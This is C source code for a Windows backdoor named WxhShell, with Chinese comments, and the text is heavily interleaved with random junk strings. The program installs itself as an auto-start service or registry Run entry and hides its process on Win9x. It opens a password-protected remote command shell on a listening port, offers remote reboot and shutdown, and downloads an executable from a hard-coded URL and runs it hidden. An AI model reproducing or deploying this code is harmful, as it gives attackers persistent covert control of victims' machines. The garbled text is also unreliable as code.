if(NULL == hInst ) return 0; o17ekML /gu%:vq g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iIq)~e/ Z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vc+A RgvH+ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8qEVOZjV& vOc 9ZE if (!NtQueryInformationProcess) return 0; '_/Bp4i ,J{ei7TN hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f1 _<G if(!hProcess) return 0; g;8jK8Kh }woo%N P if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mA*AeP_$ eZdu2.;< CloseHandle(hProcess); JZD[N Z< t7?Zxq hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `P8Vh+7u if(hProcess==NULL) return 0; B&.FOO u(wGl_ HMODULE hMod; }c}|
$h^Y char procName[255]; [h34d5'w unsigned long cbNeeded; F>-B3x .G)(0z("s if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -:Ia^{YN cgm~> CloseHandle(hProcess); 7qg{v9|, ]jaQ[g$F if(strstr(procName,"services")) return 1; // 以服务启动 P3nb2. N.]qU d return 0; // 注册表启动 8qu2iPOcZ } }=6'MjF] 0VGPEKRh // 主模块 {jho&Ai int StartWxhshell(LPSTR lpCmdLine) kMOpi =Z1 { &xY^OCt SOCKET wsl; elG<k%/2 BOOL val=TRUE; Y))u&*RuT0 int port=0; `9uB~LY^i struct sockaddr_in door; lq> +~zX{ jp"JafS/E if(wscfg.ws_autoins) Install(); L?Qg#YSd~ (
|PAx( port=atoi(lpCmdLine); \CXQo4P :I:!BXQT$ if(port<=0) port=wscfg.ws_port; 4x;/HEb7? HaYE9/xS WSADATA data; %d>=+Ds[ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a(9L,v#? A%D7bQ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b r^_'1 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V {pj~D.E door.sin_family = AF_INET; lI-L`
x door.sin_addr.s_addr = inet_addr("127.0.0.1"); o_D?t-XH door.sin_port = htons(port); -R%<.]fJ 7A\~)U@ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #L{OV)a< closesocket(wsl); 3'c0#h@VD return 1; N\#MwLm } k7>|q"0C *hQTO=WF if(listen(wsl,2) == INVALID_SOCKET) { 20iq2 closesocket(wsl); :w<V return 1; )YX 'N<[ } q*7zx_ o Wxhshell(wsl); rSHpS`\ou WSACleanup(); K a6,<C
o |kvC
H<F' return 0; 1e>s{ =7C%P%yt } 8}FzZ?DRy Bnb#{tL // 以NT服务方式启动 HVP"A3}KC VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q&Gz ] { eOXHQjuj DWORD status = 0; &p}$J)q DWORD specificError = 0xfffffff; n%k!vJ)] %c
[F;ug serviceStatus.dwServiceType = SERVICE_WIN32; BwBm[jtP serviceStatus.dwCurrentState = SERVICE_START_PENDING; YQpSlCCo
3 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h~p>re serviceStatus.dwWin32ExitCode = 0; o4%y>d) serviceStatus.dwServiceSpecificExitCode = 0; g"?Y+j serviceStatus.dwCheckPoint = 0; 59%tXiO serviceStatus.dwWaitHint = 0; wmTq` XH)
l"!Ko G7 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p8\zG|b5 if (hServiceStatusHandle==0) return; PC[c/CoD $zyIuJN# status = GetLastError(); Rhe Re if (status!=NO_ERROR) @~#Ym1{W { ooV3gj4 serviceStatus.dwCurrentState = SERVICE_STOPPED; rN%F)
q# serviceStatus.dwCheckPoint = 0; 7hi"6, serviceStatus.dwWaitHint = 0; aS pWsT serviceStatus.dwWin32ExitCode = status; #F*1V(! serviceStatus.dwServiceSpecificExitCode = specificError; Y;e,Gq` SetServiceStatus(hServiceStatusHandle, &serviceStatus); sz)oZPu| return; ']>Mp#j } E6,4RuCK Z0*ljT5| serviceStatus.dwCurrentState = SERVICE_RUNNING; <6fv1d+v serviceStatus.dwCheckPoint = 0; * 0|IXGr serviceStatus.dwWaitHint = 0; L}FOjrN if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HS.^y
x } FP>)&3>_ .'rW.'Ft // 处理NT服务事件,比如:启动、停止 ?@6/E<-Z$
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3Te^ { U
R%4@ switch(fdwControl) i-'9AYyw { :OkT? (i case SERVICE_CONTROL_STOP: j8n4fv-)f serviceStatus.dwWin32ExitCode = 0; v$7EvFS serviceStatus.dwCurrentState = SERVICE_STOPPED; LK;k'IJ serviceStatus.dwCheckPoint = 0; ]b= P= serviceStatus.dwWaitHint = 0; g"L|n7_b { pFm=y#!t SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ KRI'4 } y8 KX<2s1 return; r.T<j.\ case SERVICE_CONTROL_PAUSE: +]|Z%;im serviceStatus.dwCurrentState = SERVICE_PAUSED; :Pg}Zz < break; n f.wCtf]. case SERVICE_CONTROL_CONTINUE: 4<?8M vF serviceStatus.dwCurrentState = SERVICE_RUNNING; PNA\ TXT break; \T\b NbPn case SERVICE_CONTROL_INTERROGATE: 2{Chu85 break; IZm(`b;t^ }; ^m/oDB- SetServiceStatus(hServiceStatusHandle, &serviceStatus); >(<ytn t= } Hsihytdj !j\" w p // 标准应用程序主函数 :gB[O>'<m int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C:uz6i1 { J8"[6vI d~ 0V{(Ru.O // 获取操作系统版本 d~?X/sJ t OsIsNt=GetOsVer(); (s1k$@d GetModuleFileName(NULL,ExeFile,MAX_PATH); Z{
u a=0 $F/EJ> // 从命令行安装 [tH-D$V if(strpbrk(lpCmdLine,"iI")) Install(); A5+rd{k/ JGFt0He] // 下载执行文件 =fYL}m5E if(wscfg.ws_downexe) { PT^c^{V if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AxZD-|. WinExec(wscfg.ws_filenam,SW_HIDE); @_"9D y Y% } O4g+D#Lu s
(0* if(!OsIsNt) { 1O!/g // 如果时win9x,隐藏进程并且设置为注册表启动 gxT4PQDy HideProc(); $&=p+ StartWxhshell(lpCmdLine); yR~R: } LT~YFS else Y'u7 IX} if(StartFromService()) Hh4 n // 以服务方式启动 Ic{F*nnM StartServiceCtrlDispatcher(DispatchTable); xEltwuDd? else A+&xMM2Wj // 普通方式启动 2TES>} StartWxhshell(lpCmdLine); &I({T`=
c\q
return 0; r,]#b[:.s| } QeDQo ?hR7<02 WnHUE Y];Ycj; =========================================== qTB$`f'|$ HJC(\\~ i,nm`Z>u bC^(U`y 32 'i8U T?p`) " `T2$4 >! j6,ZEm #include <stdio.h> IF +i3#$ #include <string.h> 6ATtW+sN ] #include <windows.h> Ox#Q2W@Uy #include <winsock2.h> KT.?Xp:z #include <winsvc.h> ]=EM@ #include <urlmon.h> 7JDN{!jT ]O`
{dnP #pragma comment (lib, "Ws2_32.lib") {&[9iIf #pragma comment (lib, "urlmon.lib") j.i#*tN// BT_tOEL# #define MAX_USER 100 // 最大客户端连接数 : 5U"XY x@ #define BUF_SOCK 200 // sock buffer PU {uE[ #define KEY_BUFF 255 // 输入 buffer 1
Vy,&[c~" &5%dhc4&!& #define REBOOT 0 // 重启 c DrebU #define SHUTDOWN 1 // 关机 2T)sXB u 6QNs\Ucb+ #define DEF_PORT 5000 // 监听端口 !'f3>W\
/:\3 \{?0m #define REG_LEN 16 // 注册表键长度 P(SZ68 #define SVC_LEN 80 // NT服务名长度 "{E qhR~ vZ#!uU^a: // 从dll定义API f7hXQ|$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Q2p)7G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $>R(W=Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @cq`:_.[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s-W[.r| Y
e+Ay // wxhshell配置信息 (9 gOtJ struct WSCFG { oA
tsUF+a int ws_port; // 监听端口 b}G24{ char ws_passstr[REG_LEN]; // 口令 3I|3wQ ( int ws_autoins; // 安装标记, 1=yes 0=no }sxn72, char ws_regname[REG_LEN]; // 注册表键名 {C^@Q"I char ws_svcname[REG_LEN]; // 服务名 zTD@ char ws_svcdisp[SVC_LEN]; // 服务显示名 <8#ObdY! char ws_svcdesc[SVC_LEN]; // 服务描述信息 r,N[ )@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nW+YOX|+ int ws_downexe; // 下载执行标记, 1=yes 0=no a45ss7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^# A.@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~/IexQB& m~],nl }; n^hocGH* quo^fqS&a // default Wxhshell configuration 6`$[Ini struct WSCFG wscfg={DEF_PORT, *]x*B@RF "xuhuanlingzhe", E4D (,s 1, ~SjZk| "Wxhshell", nMoWOP' "Wxhshell", q6wr=OWD "WxhShell Service", CiL94Nkd9 "Wrsky Windows CmdShell Service", ^ie^VY($ "Please Input Your Password: ", A%vsno! 1, AaN"7.Z/ "http://www.wrsky.com/wxhshell.exe", Ae?e 70bY "Wxhshell.exe" PK&2h,Cu+ }; 0m+8P$)C% i_F$&?) // 消息定义模块 1Xyp/X2rI char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |z^pL1Z]5 char *msg_ws_prompt="\n\r? for help\n\r#>"; #
4|9Fj?? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z]Acs char *msg_ws_ext="\n\rExit."; VG*'"y*%w char *msg_ws_end="\n\rQuit."; sFb4` char *msg_ws_boot="\n\rReboot..."; 3]n0 &MZAR char *msg_ws_poff="\n\rShutdown..."; {*/dD` char *msg_ws_down="\n\rSave to "; )9P&= ~H[%vdR char *msg_ws_err="\n\rErr!"; ., :uZyG char *msg_ws_ok="\n\rOK!"; _1jw=5^P\i nDlO5 pe"d char ExeFile[MAX_PATH]; IbWPlbH int nUser = 0; vN{-?
HANDLE handles[MAX_USER]; `ycU-m== int OsIsNt; }r2[!gGd%| Y5-kj,CB SERVICE_STATUS serviceStatus; sIm#_+Y SERVICE_STATUS_HANDLE hServiceStatusHandle; I}v]Zm9 HPa|uDVv // 函数声明 9DEh*%q int Install(void); jxy1 int Uninstall(void); FBsn;,3<W int DownloadFile(char *sURL, SOCKET wsh); /qxJgoa int Boot(int flag); ,.g}W~S) void HideProc(void); o&^NwgRCF int GetOsVer(void); cD{8|B* int Wxhshell(SOCKET wsl); 9B)lGLL}q void TalkWithClient(void *cs); xaL#MIR"u" int CmdShell(SOCKET sock); x.EgTvA&d int StartFromService(void); h)E|?b_ int StartWxhshell(LPSTR lpCmdLine); eO{@@?/y 67J*&5? | VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w{'2q^>6* VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2z983^ '@:[axu // 数据结构和表定义 {rPk3 SERVICE_TABLE_ENTRY DispatchTable[] = d.pp3D9/ { Q
@2(aR {wscfg.ws_svcname, NTServiceMain}, :HW>9nD. {NULL, NULL} WF/l7u#4i }; kUHie C(,=[Fi- // 自我安装 jX|=n.#q int Install(void) Q#WE|,a { Sl.o,W^ char svExeFile[MAX_PATH]; Ko}2%4on HKEY key; :pd&dg!5 strcpy(svExeFile,ExeFile); Bp0bY9xLg_ <lOaor
c // 如果是win9x系统,修改注册表设为自启动 (^H5EeGV{ if(!OsIsNt) { m1e b8yX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9bn2UiJk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;,0lUcV RegCloseKey(key); \n@V-b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !"! ii$@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ck$2Ue2`@w RegCloseKey(key); l(Cf7o! return 0; 797X71> } 5.k}{{+ } >38
Lt\ } C6)R# else { a9[< ^ ~JE|f 7 // 如果是NT以上系统,安装为系统服务 79z)C35~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b5Q8pWZg, if (schSCManager!=0) +Pw,Nl\KD { hNO)~rt SC_HANDLE schService = CreateService N?+eWY ( v[D&L_ schSCManager,
_>v0R' wscfg.ws_svcname, 5w-JPjH wscfg.ws_svcdisp, zKJ.Tj W SERVICE_ALL_ACCESS, _[1^s$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kV1vb SERVICE_AUTO_START, QV/";A3k SERVICE_ERROR_NORMAL, d +xA: svExeFile, PEy/k. NULL, 1CiA 8 NULL, S$K}v,8.sr NULL, kr{) NULL, C|$L6n>DR6 NULL /:Y9sz uW` ); F;a3 if (schService!=0) l7Y8b` { i>"dBJh]b CloseServiceHandle(schService); v?%3~XoH CloseServiceHandle(schSCManager); .M+v?Ad strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &Y=.D:z< strcat(svExeFile,wscfg.ws_svcname); 3`rIV*&_{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eKJ:?Lxv; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M,JA;a, _ RegCloseKey(key); &gWiu9WbS return 0; <N5rv3
s } hBoP=X.~ } 1$OVe4H1 CloseServiceHandle(schSCManager); jIZ+d;1 } bx7\QU+ } K>LpN')d gr\@sx?b return 1; <p)Z/ } lO_c/o$ :Q=z=`*2w // 自我卸载 UnjNR[= int Uninstall(void) C1D !
V: {
{WKOJG+. HKEY key; I<xy?{s 5&G
5eA if(!OsIsNt) { TC@bL<1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0T1ko,C!,e RegDeleteValue(key,wscfg.ws_regname); *) }
:l RegCloseKey(key); bHJoEYY^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m8u=u4z(" RegDeleteValue(key,wscfg.ws_regname); L^jaBl RegCloseKey(key); Dh?vU~v(6 return 0; W[GQ[h } 9H[/T j-; } )"F5lOA6 } K{N%kk%F else { pEkOSG E+Im~=m$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _lNC<7+#h if (schSCManager!=0) +.wT
9kFcc { )+*{Y$/U SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }z?xGW/k if (schService!=0) 8Y xhd
. { &!6DC5 if(DeleteService(schService)!=0) { T|!D>l' CloseServiceHandle(schService); Y!;gQeC CloseServiceHandle(schSCManager); 4XD)E& return 0; .`mtA`N } LjC6?a_?l CloseServiceHandle(schService); n3*UgNg%fK } ;n`
$+g:> CloseServiceHandle(schSCManager); pY,O_
t$ } ?-d
Ain1w } QQT G9s fPOEVmj< return 1; ||`qIElAW, } VOg/VGJ | yS5[?.` // 从指定url下载文件 }U(\~
=D int DownloadFile(char *sURL, SOCKET wsh) Ou? r {$(b { 2q/nAQ+ HRESULT hr; XN4oL[pO char seps[]= "/"; Et)920 char *token; _ r~+p char *file; 'HJ/2-= char myURL[MAX_PATH]; *$JB`=Q char myFILE[MAX_PATH]; D7M0NEY ^t`f1rGR strcpy(myURL,sURL); yV8- token=strtok(myURL,seps); D>ojW|@} while(token!=NULL) D9,e3.?p { 7F=2t_2O file=token; P&,hiGTDi token=strtok(NULL,seps); #jhQBb4?, } ;v%Q8 g>UBZA4 GetCurrentDirectory(MAX_PATH,myFILE); tK*%8I\s strcat(myFILE, "\\"); C?{D"f`[] strcat(myFILE, file); <sO?ev[ send(wsh,myFILE,strlen(myFILE),0); >6XDX=JVI send(wsh,"...",3,0); c%jsu" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bd} r#^'K if(hr==S_OK) y-%nJD$ return 0; Xm%iPrl D else 2ve
lH; return 1; V;H
d)v(j _k6x=V;9g } k{?!O\yY c]e`m6 // 系统电源模块 4U}zJP(L int Boot(int flag) k\nH&nb { fE'-.nA+ HANDLE hToken; LjSLg[ i TOKEN_PRIVILEGES tkp; )\0Ug7]? ^WmGo]<B_ if(OsIsNt) { \5t`p67Ve_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ESn6D@" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p(~Y"
H tkp.PrivilegeCount = 1; yI3Q |731) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JL?Cnk$! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 45?*:)l: if(flag==REBOOT) { ||yXp2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R:]/{b4Uq return 0; 1NuR/DO } fS5GICx8R else { hyJ
ded&D if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 79TPg return 0; +.S#= } J 5Wz4`' } j?Cr31 else { RP,A!pa@ if(flag==REBOOT) { c!tvG*{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gTqeJWX9wP return 0; N-XVRuv } s.VUdR" else { fEHh]%GT` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &7$,<9. return 0; D/gd } caGML|DeI } c:3@[nF~ 1P(%9 return 1; $7msL#E7 } XC*uz ?H y%ULk // win9x进程隐藏模块 '.]e._T void HideProc(void) ,DexJ1 { M4zX*&w.T 44'=;/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n33JTqX if ( hKernel != NULL ) xN e_qO { fndK/~?]H pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >{j,+$%kp ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =$^Wkau FreeLibrary(hKernel); _7r qXkp% } &=v/VRan[ >r;ABz/ return; R#"U/8b>z } %T`4!:vy q:TZ=bs^ // 获取操作系统版本 fn1 ?Qp| int GetOsVer(void)
H;b8I { tn"Y9
k| OSVERSIONINFO winfo; ATKYjhc _ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^zvA?'s GetVersionEx(&winfo); JN{<oxI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :hC
{5!| return 1; AeNyZ[40T else v(qV\:s}m return 0; `V]egdO } u&1j>`~qJ =nJOaXR0 // 客户端句柄模块 g2+l@$W int Wxhshell(SOCKET wsl) XD;15a { :*mA,2s SOCKET wsh; e*Uz#w: struct sockaddr_in client; l84h%, DWORD myID; a9yIV5_N ArNur~ while(nUser<MAX_USER) 2(c<U6#C'l { c'4>D,?1 int nSize=sizeof(client); @?<N +qdH> wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &/B2)l6a if(wsh==INVALID_SOCKET) return 1; yf
`.% 3S[w' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fv?R\`52u if(handles[nUser]==0) 8vz_~p9%j closesocket(wsh); r!{w93rPX else SRA|7g}7W nUser++; 1Pud,!\%q } pieU|?fQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p<Zs*
@ hKk\Y{wv' return 0; * 23m- } 1_Dn?G^H 7sQ]w
// 关闭 socket /Nj:!!
AN void CloseIt(SOCKET wsh) Q3B'-BZe { qT4I Y$h closesocket(wsh); uznoyj6g nUser--; .jU|gf:x ExitThread(0); v YRt2({}Z } +zFV~]b , aRJ!AZ // 客户端请求句柄 r*X}3t* void TalkWithClient(void *cs) D%c7JK { w?V[[$ p/\$P= SOCKET wsh=(SOCKET)cs; JLy)}8I char pwd[SVC_LEN]; w5dIk]T char cmd[KEY_BUFF]; d8Q_6(Ar| char chr[1]; XBfia j int i,j; ,W)IVc
q|47;bK' while (nUser < MAX_USER) { z;fd#N: l}2%?d if(wscfg.ws_passstr) { %\(y8QV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Y3_I\H8{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &%f ]-=~ //ZeroMemory(pwd,KEY_BUFF); 3bg4# c i=0; ^D W# while(i<SVC_LEN) { /(hP7_]`2 bqg]DO$* // 设置超时 /%J&/2Wz fd_set FdRead; <
"L){$ struct timeval TimeOut; G1#Bb5q: FD_ZERO(&FdRead); ]YisZE4s FD_SET(wsh,&FdRead); RE`J"& TimeOut.tv_sec=8; 9A/Kn]s(jj TimeOut.tv_usec=0; 8!o{W=m^4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +E q~X=x if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); / K_e;(Y_ lRF_ k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 48 c
D3w pwd=chr[0]; H y.3ccZ0 if(chr[0]==0xd || chr[0]==0xa) { Z30z<d,j pwd=0; $L<_uqSk break; I{?E /Sc } 7"a`-]Ap i++; APHtJoS } +!L_E6pyXE g:.,}L // 如果是非法用户,关闭 socket *O(/UVuD\ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |
Q1ubS } ecY ^C3+S @n~>j&Kp send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4i[v
ew send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &J6o$i RS||KA])J while(1) { Q
!RVD*( !
kOl$!X4 ZeroMemory(cmd,KEY_BUFF); (l3UNP VQNYQqu`[ // 自动支持客户端 telnet标准 ~`G;=ITo j=0; K\^&_#MG while(j<KEY_BUFF) { /c_kj2& ]9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XvA0nEi cmd[j]=chr[0]; &{%S0\K Y if(chr[0]==0xa || chr[0]==0xd) { `L"p)5H cmd[j]=0; ga{25q}" break; :]u}xDv3 } Ry8WNVO}R j++; d}wa[WRv
} =& Tu`m 6uCk0
B| // 下载文件 BqLtTo ?' if(strstr(cmd,"http://")) { "x:)$@ send(wsh,msg_ws_down,strlen(msg_ws_down),0); o/x5
if(DownloadFile(cmd,wsh)) wQdW
lon send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ulLGmUn else 5|6z1{g8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ."!8B9s } &-8-xw#. else { `jUS{ 3^ B(en5| switch(cmd[0]) { R@7GCj JR a*;_ // 帮助 (}~eD case '?': { wCq)w=, send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w371.84 break; *xv/b= } XC$+ `? // 安装 Y&05
*b" case 'i': { ](9{}DHV if(Install()) MOqA$b send(wsh,msg_ws_err,strlen(msg_ws_err),0); i"sYf9, else N}l]Ilm$34 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Q*RR"3 break; uZ0 $s$ } SRG!G]?- // 卸载 !7ZfT?& case 'r': { bW
86Iw if(Uninstall()) y1\^v_.^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); hBfzU\*0H else B
GEJiLH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c> U{,z break; G7_"^r%c9; }
wWOT*R_ // 显示 wxhshell 所在路径 B yy-Cc case 'p': { o.
V0iS] char svExeFile[MAX_PATH]; ,
R.+-X strcpy(svExeFile,"\n\r"); ,a]~hNR*X strcat(svExeFile,ExeFile); g]iy-,e send(wsh,svExeFile,strlen(svExeFile),0); Y%CL@G60 break; 5>1Y="B } /H;kYx // 重启 P7>C4rmQ case 'b': { E?m#S send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^zWO[$n}tP if(Boot(REBOOT)) }%>$}4 , send(wsh,msg_ws_err,strlen(msg_ws_err),0); IjB*myN. else { Z;~E+dXC closesocket(wsh); B'gk/^6$eg ExitThread(0); $MJDB } [^(R1K break; >e$^#\D } h4B#T'b // 关机 TNFm7}= case 'd': { L$u&~"z- send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qT<qu(V: if(Boot(SHUTDOWN)) rCSG@D. send(wsh,msg_ws_err,strlen(msg_ws_err),0); {ZsWZJ! else { 8F\Msx closesocket(wsh); 3R=3\; ExitThread(0); |L_g/e1 A3 } cdtzf:#q break; HyX4ob[X } eR*
]<0= // 获取shell #`#aSqGmc case 's': { dW^_tzfF7 CmdShell(wsh); oIL+@}u7 closesocket(wsh); qiKtR ExitThread(0); 5.K$
X$+7} break; ETWmeMN } #PLB$$ // 退出 a4a[pX,5 case 'x': { a@=36gx) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); : {N3o: CloseIt(wsh); DHumBnQ break; !,JT91 } /DG`Hg // 离开 U9p.Dh~)vG case 'q': { x{`<);CQ send(wsh,msg_ws_end,strlen(msg_ws_end),0); |7Xpb closesocket(wsh); u FYQ^ WSACleanup(); #<i><EG exit(1); b{|/J <Fe break; >/HU' } /glnJ3 } U` nS` p } |e-+xX|; SSsQu^A // 提示信息 :Ye#NPOI if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `E0.P V } AGJ=de. } 8.%a"sxr cA*X$j6 return; q(PT'z } >A(?P n{|a qT>&
v_< // shell模块句柄 DdS3<3]A int CmdShell(SOCKET sock) !e\R;bYM { dt0E0i STARTUPINFO si; `~+a=Q ZeroMemory(&si,sizeof(si)); O7'^*"S si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BM$tywC si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,a_{ Y+ PROCESS_INFORMATION ProcessInfo; H.mQbD`X char cmdline[]="cmd"; NF)\">Ye CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^s2-jkK return 0; FZ.z'3I } Ty4%du6?d -"dy z( // 自身启动模式 k$x
'v# int StartFromService(void) dj&m { >Hzb0N!VJ typedef struct t?H;iBrpxd { nTy,Jml DWORD ExitStatus; Qbt>}?- DWORD PebBaseAddress; ~Ow23N DWORD AffinityMask; rKs WS~U DWORD BasePriority; ?O>JtEz~lQ ULONG UniqueProcessId; L\?g/l+k ULONG InheritedFromUniqueProcessId; W;g+R- } PROCESS_BASIC_INFORMATION; 5<BV\' GGQ(|?w PROCNTQSIP NtQueryInformationProcess; =^AZx)Kwd TNT"2FoBd static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C\>Mt static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3k[<4- -5_xI)i HANDLE hProcess; 2gR_1*| PROCESS_BASIC_INFORMATION pbi; ~rJw$v otH[?c?BT HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )qP{X,Uf if(NULL == hInst ) return 0; :!YJ3:\ I)%jPH:ua g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (5DGs_> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vh9s.=*P@ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #~-&&S4a.J CJtjn if (!NtQueryInformationProcess) return 0; `1}?{ud `iayh hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wOkJ:k if(!hProcess) return 0; l=?y=2+ =2)$|KC if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /(pD^D IoHkcP[H CloseHandle(hProcess); }%d-U;Tt2 tBI+uu aa2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s=Q*| if(hProcess==NULL) return 0; '\E{qlI B|$13dHfa HMODULE hMod; aKzD63 char procName[255]; Mciq9{8& |